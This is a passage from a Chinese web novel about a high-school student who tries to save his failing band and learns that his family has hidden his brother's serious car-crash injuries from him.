把这份羞耻剖白展露出来也总是得到“你怎么会这么想”的关怀的反问。他不知道该怎么回应。 如果病再急再重一点,他昏然度过了那一天是无能为力, 是万般无奈, 偏偏他掩饰不了,却又残留了一点挣扎的余力。 等到病情好转, 情绪褪去, 好像也错过争执、解释或是互相责问的最佳时机。 他本能地不想剖开自己,去换一个皆大欢喜、彼此都没有没有错处的局面, 却把自己在内的所有人都变得怪异且不可饶恕。 而恰恰是他们都保留着情绪, 试图让变故走向体面,却促成了结局的提前到来。 这时纪羽倒是后悔没让贺思钧在场了, 只有他最懂怎么直抒胸臆。 “我觉得,承风连最后一个舞台都不是完整的, 也太难看了, 我不甘心, 还想再试一试。” 辽光收了混不吝的模样,两只眼睛盯着他:“怎么试?到街头当流浪乐队,等着有朝一日被星探发现, 在患难中见真情,咱们终于能成为一家人相亲相爱相濡以沫到永远,可以不在乎生计,理想就是活路?反正老子现在说白了,什么能让我过上好日子,什么就是老子的梦想!” 纪羽不偏不避回视:“现在呢,给客户当孙子就是实现你的梦想了?” 辽光的脸瞬间涨红:“你懂个屁,这叫维护客户群体!”他把手机上的工牌照调出来,大声道:“看到没,投资顾问!这不高级?” 贝旬在旁边笑了一声:“卖基金的。” “你他么不也是个卖谱的,这个月卖出去一首歌没有?一首几块钱啊要不要你大哥我帮你一把?” “行了。”老麦来的路上已想得很清楚,像承风这样的小乐队不说放眼全国,光是宁海这一小块地方,都有不少于十个数正在活跃的团体。承风就只有他们四个人,没有专业的运作,光靠热情走不了多远。 与其蹉跎几年耗尽心力,不如今天彻底说开。 他是抱着说服纪羽的想法来的,纪羽年纪小,多愁善感一时间放不下很正常,总要有个过程,但不能再一拖再拖,空给人希望。 满打满算不到两年的时间,能有多深刻的感情。 “晚点我会发一条微博正式宣布并解释清楚,之后有空大家还是可以联系。” 老麦年纪最大,平常有什么事都是他拍板做主,这句话一出算是一锤定音。 辽光也不开口了,又自斟自酌起来,贝旬向他要了一杯也没计较。 这时候再说什么反对的话也不顶用了,不过纪羽还是像只学飞的雏鸟义无反顾地纵身一跃般说道: “你发不了了,账号密码已经被我改了。” 辽光听了都笑了。 老麦说:“别闹了,手机号绑定的是贝旬的。” 贝旬点点头。 纪羽大手一挥,站起身:“这不重要,重要的是我意识到专业的事要交给专业的人去做,我已经把账号转交给经纪人了。” “经纪人?”辽光打了个酒嗝,“哪儿来的经纪人?” “我前两天刚找的。”纪羽实话实说- “经纪人,税后一万二一个月?”曲坚捧着咖啡杯半晌没动静,沉思了一会儿问,“你确定?” 纪羽不解:“少了吗,如果有演出我的那份报酬可以算分成,如果能力强后续工资可以再提,师父,你有没有合适的人选啊?” “你都叫师父了,那还说什么了。” 曲坚放下杯子,当场就把衣服上的印着琴行字样的马甲脱了:“这种事,当然得是为师亲自出马了。” 纪羽满怀不信任的眼神望向他:“这种事你确定吗?” “怎么,还要我把从业资格证拿出来给你看看?你还不相信我的能力和水平还有人脉吗。” “……那没有。” “那就那么定了。” 幸亏曲坚是个不要脸又自由的主儿,与其让别人占了他学生的便宜不如他占去,反正也不是第一次了。 而纪羽好不容易再见到曲坚,即便潜意识里知道曲坚十有八九不是那晚的贝斯手,也不妨碍他借盘问和曲坚交流交流感情。 再联络上曲坚是他一直都想做的事,只是苦于没有契机。 曲坚是有点摇滚青年的毛病,但纪羽其实挺崇拜他,没有曲坚跳脱的教学方式,可能他早就像学书法那样觉得乏味而试图放弃,没有曲坚讲述他那些乱七八糟的往事,他或许就不会因为对乐队的好奇而加入承风。 纪羽希望这些和他有关联的人都能不远走,就算兜个圈,他们还是能一起做成某些事,也算不辜负缘分- “三个月,就再试三个月,到今年年底,就算要解散,承风也不差这点时间,对不对?” 纪羽用他的大眼睛和每个人对视。 贝旬最先倒戈:“我无所谓,都可以。” 辽光控诉:“贝旬,我就知道!你这小子每次都站在阿雀那边,实际上一开始你就想好了要帮他吧,还装中立,我呸!” 纪羽暂时没管辽光,倾身靠近老麦,不知道从哪儿掏出只打火机,摁下滚轮要给他把烟点了,火苗把他的睫毛一丝一丝映在脸颊上。 “老麦,你怎么想啊。” 什么时候学的讨好人的手段? “白天玩火晚上尿炕。”老麦抬手把火掐了,纪羽立刻松了手。 哪有人这么灭火的,纪羽被吓了一下,呆呆地:“是你玩的,手指会烧焦的吧。” 老麦把他打火机没收了,扯回话题:“经纪人是谁,把他约出来见一见。” 经纪人早不来晚不来,就在这时候来,不是纪羽耍他们玩,就是纪羽被耍了。 比起前者,老麦更担心后者。 “我新拉了个群,你可以在群里加他,不过他最近几天很忙,可能过段时间才能见。” 辽光已经打开手机查看:“he……什么英文名,真会装。” 纪羽:“你也可以叫他路西法。” 辽光翻白眼翻到头晕,一头栽倒在饭桌上,再抬起头来时就听老麦道:“不用,让他买单。” “谁买单?”辽光睁开酒水熏红的眼。 老麦抱臂:“谁吃得多谁买。” 辽光撑着桌子摇摇晃晃站起身扫视一圈,只有他面前杯盘狼藉堆得最满。 他站着接受了一会儿事实,醒了醒酒再反应过来发现包厢里就只剩下他和老麦两个人。 “不是,他们人呢,不是还要说服我吗?” 老麦把烟点着:“走了,你把人好友都加上了,还说服个屁。” 辽光默然。 半晌:“饭钱能从下次演出费用里扣吗,这个月工资还没发。” “滚。”- 贝旬和他不顺路,纪羽和他在地铁口挥手拜拜。 手机嗡响。 【妈妈:妈妈有事出去一趟,今晚不在家,有事打电话哦,注意安全早点回家,韩姨在家里给你做了月饼。[抱抱]】 看来家里真的出了一件大事,连纪泽兰也要临时出差了。 【我知道啦,到家我会发消息的[亲亲]】 回了消息,纪羽收起手机,节日还没结束,街上人还是很多,处处张贴着欢庆节日的海报、装饰,绿化带的树梢上还挂了几颗仿真的月球模型。 “月饼应该还没卖完吧。”可以买点让韩姨带回家里。 纪羽记着附近有家糕点味道还不错,凭着记忆走了十几分钟,以为快到了,视野里却出现了熟悉的地铁站。 以前和贺思钧来的时候没几分钟就走到了,“明明就在这儿的啊……” 自言自语着,眼前就晃过一道人影,像极了贺思钧本人。 纪羽刚要迈步跟上去瞧瞧,身旁便插入一道声音。 “什么在这儿?” “你怎么在这儿?” 梁子尧抬手晃了晃手上的购物袋:“买点吃的,打算明天带去学校。这月饼不错,我还想带给你尝尝呢,要不要来一点?” 纪羽一看包装盒,就是他要去的那家:“这家店在哪?” “就在前面往东,在聚春园和肯德基中间那块。” 纪羽抬头望天,找月亮的方位。 月亮东升西落,最好辨认,在街上说什么东南西北呀…… 梁子尧一看就知道他没什么方向感:“我带你过去,反正我也是闲着。” 纪羽同意了。 “你不穿校服也挺好看的,这卫衣我也有条差不多的,不过没你的厚,版型也差了点,是在哪儿买的?” 想学他?纪羽扭头看他,不太高兴:“我不喜欢和人穿一样的衣服。” 梁子尧投降:“好好好,我保证我不是学人精,我是出于欣赏的角度才问的,您大人有大量,可别生气。” 纪羽嘴一撇:“我什么时候生气了?” “真的?你都好几天没搭理我了,我上课都寂寞死了。” “哦,”纪羽不为所动,“那你寂寞着吧。” 梁子尧:“唉——哎你怎么不走了?” 梁子尧两步折返回去,纪羽手插着卫衣兜看着他:“你再唉声叹气的你就走吧,我自己导航也能找到。” “那我不敢了。”梁子尧拉了拉纪羽的衣角,“咱们走吧。” 纪羽这才纡尊降贵地跟上。 过了一会儿,梁子尧又说:“我能不能用一件事将功补过?” 纪羽觉得他幺蛾子太多,不是很耐烦道:“什么事?” “我发现,”梁子尧神神秘秘地弯腰贴近他耳侧,“有人在跟踪我们。”—— 作者有话说:是谁呢,好难猜啊。 40-50 第41章 纪羽退开两步, 很嫌弃地揉了揉耳朵。 梁子尧做出一副被中伤的表情:“怎么这个反应,你不害怕吗?” “谁知道你是不是故意骗我,我才不上你的当。” “我发誓。” “发誓是三根手指。” 梁子尧忙用拇指摁住小指, 比在脑门边。 纪羽自顾自地往前走:“那我也不怕。” 其实倒不是他胆子有多大,只是梁子尧话音刚落, 他脑子里自然而然地就蹦出了嫌疑人。 “你知道是谁?” 梁子尧见唬不到纪羽,语气又变得轻佻散漫。 纪羽侧目扫他一眼,也轻慢地哼了一声。 “要不要引他出来见一见。” 纪羽才懒得陪他玩, 幼稚。 早知道就不让他带路了, 话都快赶上辽光多了。 纪羽想着,脚下方向一转, 像是踉跄几步, 一屁股坐到了一旁商铺门前的台阶上。 “怎么了?”梁子尧也跟过去,他知道纪羽身体不算好, 有时候早上路过纪羽班级, 就能看到他在吃药,但也没想到人会走着走着就快倒了似的, 有点紧张地俯下身, “你没事吧?” 纪羽屈膝把脑袋搭上去,偏过头懒得理他。 果然, 没过多久,一双鞋尖就在纪羽身前停下, 而后那人蹲下身, 扶住他肩膀, 又迅速往他嘴里塞了颗糖:“哪里不舒服,头晕还是腿疼,还能站起来吗?” 来得真快, 他倒计时还没数到四呢。 纪羽抬起脸,面色如常,看不出一点难受的迹象,舌尖将糖块推到一边,脸颊鼓起一块,语气肯定道:“贺思钧,你跟踪我。” 抓在他上臂的手指松了松,依旧没放开。 “本来想路过。”贺思钧说。 用词还挺灵性。 贺思钧终于到开智的年龄了? 纪羽戳穿道:“是想假装路过吧,你跟了我多久了,下午我出门你就跟着了?不许撒谎。” 贺思钧也没想着隐瞒:“嗯。” 纪羽说晚上承风聚餐,没有用得着他的地方,所以他也就没现身。虽然不知道聚会的具体内容,但纪羽从酒楼出来时的心情明显好了许多,应该是得到了想要的结果。 原本是打算将纪羽送回家中就离开,却没想到纪羽在街巷里打转。 长街上灯火通明,人流如织,穿着时尚的男男女女不在少数。即便如此,纪羽在其中也格外显眼。 贺思钧看着不少人路过时将视线落到纪羽身上,走出去十米还在回头,也强压着立刻到纪羽身边去的念头,跟着他身后在街上绕了一圈。看他时常注意别人手中的糕点,就猜他是要去之前他们常去的铺子里,就抄了小道走到纪羽眼前晃了一晃。 末了半晌没见纪羽跟上,就看他身边多了人晃悠。 一会儿是擦着纪羽的肩膀说话,一会儿又给纪羽指着路边的装饰,笑得很不安分。纪羽和他走走停停,又绕了远路,浪费了不少时间。 贺思钧知道纪羽不太喜欢他做这些事情,如果被发现可能还会毁了纪羽的好心情,所以他一直忍耐着,只不远不近地维持着距离坠着。 看到纪羽跌跌跄跄地坐倒在地上,行动比脑子快了一步,反应过来时已经冲到了纪羽面前。 还好纪羽只是在幌他。 “我可以马上走。”贺思钧观察着纪羽的神色,什么都没看出来。 没生气吗? “算了,反正你都已经来了。”纪羽伸手,贺思钧就把他从台阶上拉起来,又拍了拍他衣摆上沾到的灰尘。 被挤开到一旁彻底无视的梁子尧也不觉得尴尬,又坦然无比地站到纪羽身侧,状若无意地瞥了贺思钧一眼,冷意一闪而过。 同时贺思钧侧目扫了他一眼,又将视线移回纪羽身上。 纪羽偏头对梁子尧说:“你可以走了,我可以让贺思钧带我去。” “没事,我不忙,我送你们过去。” “不要。”纪羽瞪他一眼,“你干嘛总要跟着我。” “我喜欢你啊。”梁子尧漫不经心般说道。 话音未落,纪羽就像被踩住尾巴蹦起来的猫一般炸了毛:“你乱七八糟说什么!” 纪羽满怀戒备地后退两步。 忽略一旁冰冻般的视线,梁子尧像是被纪羽的反应中伤,受伤又不解道:“我之前就说过啊,咱们不是朋友吗,朋友间互相喜欢不是很正常么。不过我觉得你对我真的有点坏,你很讨厌我吗?” 说着,他还飞快地朝贺思钧投去一眼,意有所指:“你对别人和对我的态度完全不一样,抛弃我的速度也特别快。” 意识到梁子尧不是那个意思,纪羽紧绷的肩膀松了松,拉灭了警铃。 也是,热情的直男不代表他就是同性恋。 纪羽默默看向贺思钧,看他下颌紧绷,还碰了碰他的手臂。 干嘛呢,人家不是gay。 这里只有你是。 他已经下定决心要在高考后和贺思钧一刀两断,有了这必然会到来的期限,他对贺思钧的容忍度有了显著的提升。 一想到最后贺思钧所有对他的期望都会破碎,纪羽也觉得像跟踪这种小事没必要计较。贺思钧性格就这样了,和他扯这些干什么呢,还不如趁高考前还有时间让自己开心开心。 但是梁子尧嘛。 纪羽对着他就没那么客气了:“谁让你一直跟我说话了,我不喜欢话多的人,耳朵都痛了。” 梁子尧作委屈状:“我话很多……?” “对啊。”纪羽毫不犹豫地点头。 “那我就没有其他优点吗?” “有啊,不过你话真的很多。” “我……”梁子尧还想再说什么,但再开口好像也只会坐实了他话多的事实。 他意识到,纪羽抵触的时候对他做什么都是错的,纪羽认可接受的,再大逆不道也可以谅解。 梁子尧彻底闭了嘴,站在原地。 纪羽看他不说话了,就背着手往前走,声音悠悠地飘到身后:“拜拜。” “慢慢走。”贺思钧回头看了一眼,“他已经走了。” 闻言纪羽果然放慢步频,扭头看,余光瞥到贺思钧的嘴角上扬了一个十分微小的弧度。 “你笑什么?” “没有。”贺思钧面无表情。 “撒——” “我话多吗?” “……”纪羽挑剔地回应了他:“话少的人我也不喜欢。你们都很讨人厌。” 贺思钧没那么容易中伤:“那贝旬和辽光呢?” 贝旬和辽光怎么了?纪羽愣了一会儿才反应过来贺思钧在想什么。 “死gay!”- 夜深了,院子里开了灯,纪羽没急着进家门,走到篱笆边看了看被固定在架子上的铁线莲。 依旧是光秃秃的,看不出它繁茂时的样子。 纪羽蹲下来,伸手碰了碰它,轻声道:“你还好吗,要不要喝水?” 铁线莲不言不语,纪羽也不敢贸然浇水。以前他还养过一颗仙人掌,总怕它死,就经常浇水、晒太阳,他什么时候吃饭,就什么时候给仙人掌施肥。 没过两天,仙人掌就一病不起,纪羽很是愧疚,再也没自己种过植物,更别说养宠物。 死亡是一件沉重的事,纪羽不想再担上一条“草”命。 好在韩姨很会养人,想来也肯定会养花花草草,明天起他就没有长假了,纪泽兰和徐梁也不在家,养花的重担就得交到韩姨身上了。 至于纪律,完全指望不上。 纪羽推开家门,刚想叫韩姨,就听到她的说话声。 他收了声,寻到厨房去,就见韩姨在打电话,还把厨房的门给拉上了,纪羽听不清楚,只能看到韩姨眉心起了皱纹,神情很担忧。 韩姨家里出了什么事吗? 纪羽想了想,打算先走开,韩姨看到他却很快挂了电话,拉开移门走出来。 “小羽回来了。”嗓音照旧柔和,表情却依旧显得紧绷绷。 有些奇怪。 “出什么事了吗?”纪羽问。 “没有,没有,”韩姨很快否认了,“能出什么事儿啊。” 说着韩姨上前借过纪羽手上的袋子:“买了什么,要不要存在冰箱里?” “月饼、桃酥还有一点糕,韩姨,你带回家里吃。” 韩姨确实好奇怪,袋子上糕点铺的名称很大,她以前很爱吃的牌子,她不可能认不出来。 “小羽真是越来越懂事了,这么多,有没有你想吃的,韩姨给你拆出来你放着慢慢吃,我拿不了那么多。” “韩姨。” 纪羽看着她,很是担心的样子:“你是不是有什么着急的事要处理,你可以去的,我成年了,自己在家也没关系,我有些同学都一个人在校外租房子住呢。” 韩姨还是说没事,抬手摸了摸他的脸。 “吃个咱们家自己的月饼吧,今天下午刚做的,放一晚就没那么好吃了。” 见她坚持,纪羽也没有再说什么,把那点不合时宜地沮丧掩藏起来:“好啊。” 韩姨把烤箱保温的月饼都取了出来,满满登登地占了一整张桌子。 晚上纪羽吃不了太多,要了一个肉馅的,半块豆沙的,边不紧不慢地吃着,边和韩姨说着话。 “妈妈吃过了吗,剩下的可不可以寄呀,会坏吗?” “没,没来得及。” 饼皮酥脆,纪羽手托在下巴处接着簌簌掉落的脆皮,没注意到韩姨不自然的停顿。 “不会坏,明天韩姨就寄出去,还是小羽想得周到,中秋嘛,当然要和家里人分月饼吃。” 纪羽抬头笑一笑,眼睛弯弯的:“嗯!” 第42章 第二天, 纪羽早早就起了床,和韩姨打了声招呼就出了门。 到了学校里屁股还没挨着凳,书包已经被人抱走打开。 “你别全抄了。” “知道知道, 我就抄客观题,我再改几个就看不出来了, 放心吧。” 明明抄作业的不是他,心惊胆战的却是他。纪羽吃口早饭三抬头,生怕班主任来个突然袭击, 抓个人赃并获。 可早读过半, 各科作业都收齐交了上去,李玄还迟迟未到。 众人眼睛落在书上, 心思还在假期里, 嘴上嘚吧嘚吧说个没完。 又过了一会儿,才见吴芝芝快步赶来, 神色凝重。 “李老师来的路上出了点小事故, 今天来不了了,大家安心做自己的事, 别没有人管着就放飞自我, 现在背诵上周讲解过的续写,第一节课我们默写。” 台下收了声, 寂静里有人发问:“李老师人没事吧?” 吴芝芝表情松缓些许,只说:“这个你们不用操心, 自己背书吧。” 低低的念读声在教室内响起, 纪羽低下头, 眼前掠过一串串英文字符,组合在一起都能看懂,却始终没法形成连贯的语句。 为什么都不说呢, 是因为就算被他们知道,也不会有任何用处,只会平添麻烦吗? 纪羽心不在焉地度过了一个早上。 吃过午饭后,他躺在铺得松软的床上,从出租屋的窗户里向外望。 “睡不着吗?” 贺思钧刚洗了碗,脱了校服外套,只穿了一件短袖,看起来就像在家似的。 纪羽裹着被子翻了个身。 见他看着窗外,贺思钧又说:“还有半个小时,我把窗帘放下来你闭眼休息一会儿。” 床靠着窗,贺思钧单膝跪上床沿,伸长手臂把窗帘放下,室内很快暗下。 纪羽还是睁着眼睛,也不动,侧身躺着。 他做饭的时候,纪羽就待在房间里复习,吃完了饭又学了一会儿才上床躺着,可贺思钧进来时看了一眼桌面,资料都没翻页。 明天就是联考,纪羽很重视,不会无缘无故地走神。 贺思钧回想了一下昨晚分开时羽还好好的,所以不大可能是他惹的纪羽,思索片刻,说道:“昨天回去出什么事了吗,还是因为担心李老师?” 纪羽身体不动,扭头看了他一眼,又转回去:“也没什么事。” 说完,他蹬腿把被子抖开,向枕头里埋了埋,闻到一股洗衣粉的味道。 “我要睡觉了。”他睡在床中央,也不管贺思钧要不要休息,抱着被子就闭上了眼。 听纪羽呼吸逐渐绵长,贺思钧小心起身走出卧室,带上了房门。 阳光抛洒在窗台,对楼养了一盆红菊,花期正盛,开得热烈,在风里招摇。 贺思钧将窗户大敞,拨通了电话。 “喂,韩姨。”- 午觉没睡足,纪羽的情绪空前恶劣,看谁谁不爽。 梁子尧还想找他聊一聊,争取被改观,也被纪羽还打了报告告老师,被罚站到教室后边。 当天下午的数学课是由高二的数学老师代上的,纪羽不太习惯,有好些地方没跟上进度,不得不在晚自习留了下来,去问隔壁班的老师问题。 之前习惯了倒不觉得,一放过假,再从早到晚在教室里坐十几个小时,纪羽累得手都抬不起来,回家一沾枕头就睡了。 次日醒来,纪泽兰和徐梁依旧没回来,纪律也没有,韩姨送他上了出租车,祝他考试顺利。 卷子明显比开学时那次摸底考拔高了一截难度,第一门考试刚结束,纪羽走出考场,就听见有人在嚎,看样子是对了答案。 该说这些人是心理素质好还是差呢,纪羽只想考一门放一门,堵着耳朵就跑回了班级。 贺思钧也从考场回来了,从表情上看不出发挥如何。 上了考场就是竞争对手,纪羽从昨天下午起就没和他说过话,生怕被影响状态。 考试连着三天,第一天中午纪羽留在教室里午休,被翻书声吵得心烦意乱,第二天就老老实实地跑回了出租屋。 贺思钧炒菜时他复习,他午睡时贺思钧看书,很公平。 第三天,纪羽的考试排在贺思钧前,提前结束后,他到自习教室里睡了一觉,醒来时出了满身的冷汗。 放学路上,贺思钧告诉他李玄没事了,过几天就会回来。 纪羽问他怎么知道的,贺思钧说他去办公室搬试卷的时候偷听到的。 纪羽拖长语调:哦——偷——听—— 贺思钧看他心情转好,一时不想将得来的消息告诉他。 可那点走神没逃过纪羽的眼睛。 “你是不是有话要跟我说?” 十月的上旬,是气候最宜人的时候,纪羽热不着冻不着,脸色也好看,嘴唇红润润的,眼睛明亮地看着他。 贺思钧挣扎了,觉得有些事确实宁愿瞒着也好过全盘托出。 “说话呀。”纪羽着急了,拦在贺思钧面前,“你不说清楚就别走了。” 贺思钧完全可以像纪羽搪塞他那样说没什么事打发过去,纪羽瘦瘦薄薄的身板更是不足为惧。 但纪羽盯着他的眼睛,又气势汹汹地威胁他,实在是不能看轻,他本来就行差踏错,不能再犯错误。 “我打车带你过去。”贺思钧走到路边拦车。 纪羽忙跟过去:“什么呀,干嘛要打车,去哪里?” 一辆出租停下,贺思钧拉开车门让纪羽先上,随后跟着坐进来。 “去爱山医院。” 师傅一脚油门窜了出去,纪羽听到贺思钧说爱山,一下子便头脑眩晕,有些坐不稳了,拉住贺思钧的胳膊:“到底在搞什么啊……” 到了医院里纪羽完全就只会跟着贺思钧迈步,站到电梯里他还在问:“你骗我的吧………纪律在出差啊……” 贺思钧摸了摸他的脸,凉凉的,电梯门开了,纪羽睁大了眼睛向外看去,有点害怕地问:“不出去吗?” “我们回去吧。”贺思钧又反悔了,按了电梯一楼的楼层。 “不行!”纪羽又把按键取消了,摁了开门键走出去,贺思钧只好跟着他走到护士台。 护士显然对纪羽这个常客很熟悉,还不待他开口,就主动领着他走到病房。 纪羽觉得这一切都很混乱,手搭在门把上迟迟没有下按。 他下意识地看向贺思钧,在贺思钧上前要跟着他的时候又说:“你在外面等我,不要走。” 病房门被轻轻推开。 护士才来换过药,空气里还残留着血的腥味,或许还有组织液的味道,和有点刺激的药水味混合在一起。 门在身后自动合上,纪羽只走了两步就停住了步子。 纪律坐靠在床上,闻声转头看向门口,只一眼,就狠狠压下了眉头。 “你怎么来的,谁告诉你了?” 纪羽没有说话,只觉得全身都在发颤,眼圈飞速地红了。 病房很大,装潢也不像在医院,温馨又简洁,纪羽在这里住过很多次,对一切都很熟悉。 唯一觉得陌生的是纪律,他很想转身马上跑走,装作自己没有来过,然后忘掉这一切。 等过段时间,他熟悉的那个很讨厌的纪律就会回来了。 纪羽第一次觉得隐瞒是种仁慈。 看着纪羽呆呆愣愣的,脸色极为惨白,纪律摁了护士铃,很快就有护士推门进来。 “带他去检查一下,他被吓到了。” 吓着了这事是不归他们管的,不过护士还是尽职尽责地询问纪羽:“我们一起出去休息一下好吗?” “我不要!” 纪羽像应激的猫一样抗拒护士的接近,自己跑到了纪律身边,眼泪哗啦啦地下来了。 “纪先生……” 纪律示意护士先出去,让纪羽坐下来,拿手去擦纪羽的脸,他手上还有结得梆硬的痂,蹭到纪羽的脸上就留下了红印。 “哭什么?”纪律说这种话也并不柔和,硬邦邦的。 纪羽离他近了,难闻的味道又变得很清晰,左肩纱布下模糊的血肉隐隐若现,不由遏制不住地干呕,眼泪掉得更急。 “怎么会这样啊……都烂掉了…那么大的洞……”纪羽明明是不敢看的,眼睛却闭不上,始终看着那一块让他极端害怕的伤口。 纪律身上的味道变了,摸他脸的手也变得粗糙,像有砂砾剌过他的脸,眼泪滑过,就变得更刺痛。 “别哭了,我又没死。” 死这个字又刺激到了纪羽,他睁开泪糊了的眼,看着纪律,伸手揽住纪律的脖子:“不要…不要死………” 纪羽的眼泪砸到纪律身上,麻木的伤口也变得灼热。 失控的货车嘶鸣着喇叭,强光夺去视线,被钢筋戳进胸膛时,纪律也没有生出多余的想法来,更谈不上什么怕。保险受益人和遗产继承人都填了纪羽的名字,这也算是件好事。 活过来的第一件事,纪律就说没必要让纪羽知道,麻烦。 确实很麻烦,被体型小了一圈的人抱着,不能动弹,眼泪顺着他的衣领流进脖颈里,纪律的视线也无从安放,只能俯视着比他小了十岁的弟弟因为恐惧失去他而崩溃得泪流不止。 心被浸在一泉温水池里,泡得酸软。 自从纪羽长大后,他们好像再没有像这样亲密地抱在一起,纪律险些都忘了,被纪羽抱住是这种感觉。 纪律抬起手,迟疑地缓慢地落在了纪羽单薄的背上,加重了一点力气,拍了拍。 “别哭了,乖。”—— 作者有话说:祸害遗千年。 第43章 一感受到回应, 纪羽就立刻更加放肆地贴了上去,像一团柔软的水裹住右肩,手臂藤蔓般绞缠着脖子, 纪律都能感受到他滚烫的眼皮贴着下颌一侧源源不断地渗出热液。 可怜。 明明受伤的也不是他,却好像受了全天下最大的委屈, 连脊背都在纪律的掌心下发颤。 就算是怕也不肯松开手,反倒离叫他难受不已的人更近,紧紧地牢牢地依附着。 笨得可怜, 哭得傻气。 纪羽哭着哭着又开始咳嗽, 无意识地呼吸急促,搭在纪律身上的手腕也无力地滑下一点, 手指攥住衣料, 把衣服扯得紧绷绷。纪律左手动弹不得,只好用功能健全的右手托住纪羽的后颈, 把他向肩膀处摁紧些, 被泪水浸湿的布料掩住他的口鼻。 “每次哭都不会喘气,想把自己憋死?” 四肢的麻痹感减轻, 纪羽还是没力气, 脸上沾湿了不舒服,就只转了转脑袋侧开脸, 依旧搭在纪律的肩上,背朝着纪律还在抽泣。 纪律一抬手就摸到他的脸, 热的泪和冰凉的泪渍。 “再哭就发烧了。”纪律放开他, 维持着重心, 勉强延长手臂扯了几张纸巾盖到纪羽脸上。 纪羽扭开脸:“你碰到我眼睛了…” 以这个姿势和角度,纪律只能看见他毛茸茸的头顶,只好说:“那你自己擦。” 纪羽不说话, 又抽了一下鼻子。 纪律没办法,妥协道:“把脸抬起来一点,让我看到。” 纪羽半靠在他身上,闻言扬起脸来,眼睛看着比平时还要大,睫毛不堪重负地垂下来,鼻梁挺翘,两颊蜿蜒了道道泪痕。 眨一下眼,就在眼窝聚集了一个小小的水坑。 现行法律规定,年满18周岁即成年的依据是什么? 连眼泪都不能自己擦掉的纪羽,能有独立生活的一天吗? 纪律这么想着,不动声色地用纸巾一点点吸去纪羽的眼泪。 纪羽的心情也终于平复下来,死死攥着衣服不放的手放松,把自己从纪律身上剥离开。 纪律让他坐在床上,自己坐到一旁的陪护椅上。 即时的汹涌悲伤退去,确认纪律暂时死不了,纪羽胡乱地把眼泪擦干净,端正了态度,看向纪律道:“你什么时候回宁海的。” 语调还打着颤。 “今天。” “爸妈也回来了?” “嗯,我告诉过他们不用过来,但事故后续需要人处理,目前暂时安排好了。” 纪羽:“是车祸吗?你的责任还是别人的?” 纪律:“对方全责。” 纪羽又问:“那个人坐牢了吗?” “他活下来就会。” “哦。” 纪羽白着脸,看着他的肩头:“这个,会长好吗?” 纪律说:“当然。” 沉默了一会儿,纪羽才问: “是不是只有我不知道?” 纪律微侧身,挡住了纪羽看向伤处的视线,开口又是纪羽熟悉的反问:“让你知道然后吓得不敢睡觉?” 前些天还没转院过来时,他上身都是裸着的,血水流出来渗透纱布,怎么想纪羽都承受不了这种视觉冲击。 “我不会…”纪羽打住,突然意识到他没必要向纪律证明他自己,而是纪律需要为他的言行不一负责。 “那以后我也不把我的事情告诉你了,反正你就是这样对我的。” “……这不是一回事。” 纪羽低下头撕纸巾,每撕一条就意有所指地数落道:“双标、虚伪、撒谎、没有诚信、专制……” 他抬头看一眼纪律,又添了一条:“丑陋。” 纪律像是气笑了:“我丑,那你就好看了?你是亲生的,不是抱养来的。” “我们又不是双胞胎,本来长得就不像。”纪羽嘟嘟囔囔的,“头发也没梳好,胡子也不刮,就是丑。” 纪律看他眼睛鼻头还红着,没想和他再掰扯,免得又哭了,此时纪羽在他看来心理比蝉翼还脆弱,稍不注意又要碎得稀里哗啦。 “我给爸打电话,让他把你带回去。” “不用,我自己想走的时候会走的。”纪羽睨了手机一眼,“帮凶。” “纪羽,你的语文考试是怎么及格的?爸妈不告诉你是希望你安安心心在家,你今天不是还有考试吗,平常给你请一天假都要哼唧,影响你考试你又不难受了?” “不一样!”纪羽突然拔高音量,眼里肉眼可见地重新聚起水光,他抬起胳膊抹了,说话时却还带着哭腔,“万一,万一你就死了呢,在我不知道的时候你就死了怎么办,考试是很重要啊,但我也想知道你们都在做什么,为什么着急为什么难过……” 为什么隐瞒就是关心,寻根问底就是不懂事呢? “我也是大人了,我可以知道这些事……不会给你们添麻烦!我可以帮忙、也可以什么都不做…不用你们操心………” 为什么额外地瞒着他,他是累赘吗,他始终都是让人放不下心的小孩吗? “如果你死了,是不是我也要等到很久以后才可以知道?” 纪羽看着纪律因失血而发黄的肤色,记忆里始终一丝不苟的头发散落在额前,眼窝凹陷,下巴发青,和他熟知的纪律相比,既熟悉又陌生。 纪羽不怕他的模样,怕的是变化。 纪律凭什么那么自大? 各种情绪在胸膛里乱撞,纪羽没有头绪去梳理,只觉得越来越多的问题冒出来,把他的身体撑开,才让他看起来像个大人,不然为什么他比懵懂的幼童还多出了那么多不能解答的问题? 答案在哪里,纪律能一一替他解答吗? “那可能等我几十年后要死的时候才能告诉你,至少现在我不会让你看到我被挂在墙上。”纪律站起来,依旧很高大,“纪羽。不管你多少岁,爸妈,我还有你之间的年龄差永远改变不了,我做不到把你当一个真真正正的…‘大人’来看待,爸妈想保护你,我也是。” 纪羽怔怔地看着他靠近,纪律每次发表长篇大论都是一些很不中听的话,纪羽需要很努力地左耳朵进右耳朵出才能不放在心上。像这样温和的沟通,就算是在梦里也会让纪羽立刻惊醒。 “但这是不对的,”纪羽说,“我不要你们对我这样,我不喜欢,我很讨厌。” “知道了,下次不会了。”纪律试探性地把手放在纪羽的脑袋上,纪羽睁圆了红通通的眼睛,像刚接回家的宠物般,警惕而小心地接受安抚,尽管感觉很奇怪,但他没有躲开。 “抱歉。”纪律把他的头发全部揉乱,然后说,看起来没有很不情愿被逼迫的样子。 至少要比他上一次道歉要真情实感得多。 死里逃生的人会变得更善良吗,纪羽忍不住进一步确认道:“就这样?” 湿哒哒的衣服还贴在胸口,纪律问:“你还想要什么,我的卡在抽屉里,你去拿。” “我又不要你的钱,我自己有……”鞋尖在地板上磨了两下,纪羽站起身,把空位让出来,“你坐下来。” 这样一来,纪羽就比纪律要高出一截了,视线的下放让纪羽紧绷的心情得以松弛。 “你要说对不起,我错了,然后……” 纪律从善如流:“对不起,我错了,然后……然后什么?” 原以为要让纪律说出这一句话会很艰难,没想到他这么快地就说出来了。 也是,他都做律师了,脸皮不厚都不行。 纪羽:“不诚恳,你再说三遍。” 纪律放慢语速重说了三遍。 “想好了吗?” 纪羽被他点破,不甚高明地掩饰道:“等你好了再说吧,要不然显得我是个多坏的人,我先不和你计较了。” “好,那谢谢你。” “不要阴阳怪气!” 纪律神色自若:“我没有阴阳怪气。” “好吧。”纪羽暂时相信他,又说,“你以后也要好好说话,不可以讽刺我,说我写字很烂,也不能凶我。我对你就很好,你受伤了我也没有说你在外面不长眼睛,不会自己小心一点,我很关心你的,对不对?” 